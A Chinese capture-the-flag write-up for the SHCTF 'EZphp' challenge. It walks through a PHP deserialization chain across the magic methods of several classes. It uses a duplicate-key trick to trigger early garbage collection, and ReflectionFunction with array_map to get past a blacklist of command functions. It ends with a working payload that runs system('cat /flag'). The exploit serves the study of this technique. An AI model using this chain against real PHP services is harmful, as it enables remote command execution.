第三届SHCTF--EZphp

前言:反序列化比较薄弱,做得也比较少因此每次碰到都是两眼一黑,然后这次SHCTF中又出现了一个我没学到过的知识点,因此这里也再详细记录一下

题目源码如下:

php 复制代码
<?php

class Sun{
    public $sun;
    public function __destruct(){
        die("Maybe you should fly to the ".$this->sun);
    }
}

class Solar{
    private $Sun;
    public $Mercury;
    public $Venus;
    public $Earth;
    public $Mars;
    public $Jupiter;
    public $Saturn;
    public $Uranus;
    public $Neptune;
    public function __set($name,$key){
        $this->Mars = $key;
        $Dyson = $this->Mercury;
        $Sphere = $this->Venus;
        $Dyson->$Sphere($this->Mars);
    }
    public function __call($func,$args){
        if(!preg_match("/exec|popen|popens|system|shell_exec|assert|eval|print|printf|array_keys|sleep|pack|array_pop|array_filter|highlight_file|show_source|file_put_contents|call_user_func|passthru|curl_exec/i", $args[0])){
            $exploar = new $func($args[0]);
            $road = $this->Jupiter;
            $exploar->$road($this->Saturn);
        }
        else{
            die("Black hole");
        }
    }
}

class Moon{
    public $nearside;
    public $farside;
    public function __tostring(){
        $starship = $this->nearside;
        $starship();
        return '';
    }
}

class Earth{
    public $onearth;
    public $inearth;
    public $outofearth;
    public function __invoke(){
        $oe = $this->onearth;
        $ie = $this->inearth;
        $ote = $this->outofearth;
        $oe->$ie = $ote;
    }
}



if(isset($_POST['travel'])){
    $a = unserialize($_POST['travel']);
    throw new Exception("How to Travel?");
}
highlight_file(__FILE__);
error_reporting(0);

class Sun{
    public $sun;
    public function __destruct(){
        die("Maybe you should fly to the ".$this->sun);
    }
}

class Solar{
    private $Sun;
    public $Mercury;
    public $Venus;
    public $Earth;
    public $Mars;
    public $Jupiter;
    public $Saturn;
    public $Uranus;
    public $Neptune;
    public function __set($name,$key){
        $this->Mars = $key;
        $Dyson = $this->Mercury;
        $Sphere = $this->Venus;
        $Dyson->$Sphere($this->Mars);
    }
    public function __call($func,$args){
        if(!preg_match("/exec|popen|popens|system|shell_exec|assert|eval|print|printf|array_keys|sleep|pack|array_pop|array_filter|highlight_file|show_source|file_put_contents|call_user_func|passthru|curl_exec/i", $args[0])){
            $exploar = new $func($args[0]);
            $road = $this->Jupiter;
            $exploar->$road($this->Saturn);
        }
        else{
            die("Black hole");
        }
    }
}

class Moon{
    public $nearside;
    public $farside;
    public function __tostring(){
        $starship = $this->nearside;
        $starship();
        return '';
    }
}

class Earth{
    public $onearth;
    public $inearth;
    public $outofearth;
    public function __invoke(){
        $oe = $this->onearth;
        $ie = $this->inearth;
        $ote = $this->outofearth;
        $oe->$ie = $ote;
    }
}



if(isset($_POST['travel'])){
    $a = unserialize($_POST['travel']);
    throw new Exception("How to Travel?");
}

一大串的还是得倒着看,我们先看要传的:

php 复制代码
if(isset($_POST['travel'])){
    $a = unserialize($_POST['travel']);
    throw new Exception("How to Travel?");
}

这里我们可以控制的是travel,构造响应的php对象进行注入,但是后面有一个 throw new Exception("How to Travel?"); 按照正常流程的话是这样的:

php 复制代码
unserialize -> throw Exception -> 程序终止

正常情况下,Sun 对象的 __destruct() 永远不会在想要的时间点触发,因为:

  • unserialize() 成功返回后,$a 变量持有对象引用(refcount ≥ 1)。
  • 接着执行 throw new Exception,异常立刻抛出 → 脚本开始错误处理 → 输出 "How to Travel?"。
  • __destruct() 只有在脚本完全结束(shutdown 阶段)才会被调用,已经晚了。

这里就用到了GC提前销毁机制:利用解析错误强制提前回收。

核心目的 :让 Sun::__destruct() 在 unserialize() 函数内部就同步触发,这样后面的 throw 永远不会执行到,异常信息不会出现,RCE 链直接跑出 flag 并 die()。

底层原理(基于 PHP 引用计数 + 垃圾回收)

PHP 内存管理主要靠 引用计数(refcount)

  • 每个对象都有一个 refcount,初始为 1(被变量引用)。
  • refcount 降到 0 时,立即调用 __destruct() 并释放内存。
  • 另外还有周期回收器(Cycle Collector)处理循环引用。

关键点 :在 unserialize() 解析过程中,PHP 是边扫描字符串边创建对象的。

如果我们故意把序列化字符串构造得格式错误),会发生:

  1. 解析器已经成功创建了 Sun、Moon、Earth、Solar 等对象(甚至已经执行了部分魔术方法)。
  2. 扫描到错误位置时,unserialize()提前抛出内部异常并中止(还没返回给 $a 变量)。
  3. PHP 为了"清理刚才临时创建的对象内存",会立即把这些对象的 refcount 强制归零
  4. 于是 __destruct() 被同步调用(发生在 unserialize() 函数还没返回的时候)。

这时候我们整个链条已经跑完了,输出 flag 并 die(),后面的 throw 语句根本没机会执行。


接下来再看我们的调用链:

php 复制代码
public function __call($func, $args) {
    if (!preg_match("/exec|popen|system|...|array_map?.../i", $args[0])) { 
        $exploar = new $func($args[0]);        
        $road = $this->Jupiter;
        $exploar->$road($this->Saturn);          
    } else {
        die("Black hole");
    }
}

我们想要的是能触发RCE的构造,但是这里直接执行system会被拦截,这里**ReflectionFunction + invokeArgs** 可以绕过。

**ReflectionFunction**属于PHP反射类,可以调用动态函数,就比如:

php 复制代码
$f = new ReflectionFunction("system");

$f->invokeArgs(["id"]);

//等价于system("id")

题目中的执行方式:

php 复制代码
$exploar->$road($this->Saturn);

如果我们令:
$exploar = ReflectionFunction
$road = invokeArgs

那么就会变成:
$exploar->invokeArgs(...)

invokeArgs 需要数组参数,因此再利用array_map,那么整体应该是这样的:

php 复制代码
<?php

highlight_file(__FILE__);
error_reporting(0);

$rf = new ReflectionFunction('array_map');
$rf->invokeArgs(["system",["dir"]]);

如何触发 Solar::__call

__call 是魔术方法,当调用不存在的方法时触发:

php 复制代码
$Dyson->$Sphere($this->Mars);

所以要让 $DysonSolar 对象 ,并且 $Sphere 是一个不存在的方法名,就会触发 __call


如何触发 Solar::__set

__set 是魔术方法,当访问不可访问属性时触发:

php 复制代码
$oe->$ie = $ote
//这里 $oe 是 Solar 对象,$ie 是一个不存在的属性名 → 触发 __set。

如何触发 Earth::__invoke

__invoke 是魔术方法,当对象像函数一样被调用:

php 复制代码
$starship();
//所以 $starship 必须是 Earth 对象。

如何触发 Moon::__toString

__toString 是魔术方法,当对象被当作字符串使用:

php 复制代码
Maybe you should fly to " . $this->sun

//所以 $this->sun 是 Moon 对象 → 自动调用 __toString → 执行 $starship() → 调用 Earth::__invoke。

如何触发 Sun::__destruct

__destruct 是魔术方法,当对象被销毁时自动触发。

  • 触发方式:GC 回收对象或者脚本结束

  • $sun 是 Moon 对象 → 触发 __toString


最终的倒推形式如下:

php 复制代码
[目标] system("id") 
   ↑
ReflectionFunction->invokeArgs(...)          # Solar::__call
   ↑
Solar::__call()                               # 调用不存在方法触发
   ↑
Solar::__set()                                # 动态赋值触发 __call
   ↑
Earth::__invoke()                             # 对象当作函数调用触发 __set
   ↑
Moon::__toString()                            # 对象当作字符串触发 __invoke
   ↑
Sun::__destruct()                             # 对象被销毁触发 __toString
[入口] GC/脚本结束后析构 Sun 对象

exp:

php 复制代码
<?php

$sun = new Sun();
$moon = new Moon();
$earth = new Earth();
$solar = new Solar();

$sun->sun = $moon;
$moon->nearside = $earth;

$earth->onearth = $solar;
$earth->inearth = "test";
$earth->outofearth = "array_map";

$solar->Mercury = $solar;
$solar->Venus = "ReflectionFunction";
$solar->Jupiter = "invokeArgs";
$solar->Saturn = ["system",["cat /flag"]];

$arr = [
    "a"=>$sun,
    "b"=>NULL
];

$payload = serialize($arr);

/* 覆盖key触发GC */
$payload = str_replace('"b"', '"a"', $payload);

echo urlencode($payload);
相关推荐
WJSKad12352 小时前
[特殊字符] SecRoBERTa:网络安全AI新里程碑[特殊字符]️
人工智能·安全·web安全
上海云盾-小余3 小时前
2026 网络安全新威胁:新型 CC 攻击变种识别与企业级防御方案
安全·web安全
上海云盾-高防顾问3 小时前
扫段攻击防御指南:简单几步,守住网络安全防线
网络·安全·web安全
独行soc4 小时前
2026年渗透测试面试题总结-36(题目+回答)
网络·python·安全·web安全·网络安全·渗透测试·安全狮
L***一4 小时前
网络安全专业入门级认证体系分析与路径规划
网络·安全·web安全
观书喜夜长5 小时前
每日一练:攻防世界「easyupload文件上传漏洞」详细解析与防御
学习·web安全·网络安全
白帽黑客-晨哥5 小时前
湖南网安基地的野蛮生长:当网络安全沦为“做题家”比赛,湖南网安基地在尝试另一种可能
web安全·网络安全·渗透测试·漏洞挖掘·漏洞扫描·湖南网安基地
2401_858936886 小时前
深入理解 TCP 并发服务器:从 IO 模型到多路复用实现
服务器·tcp/ip·php
一名优秀的码农6 小时前
vulhub系列-34-djinn-3(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析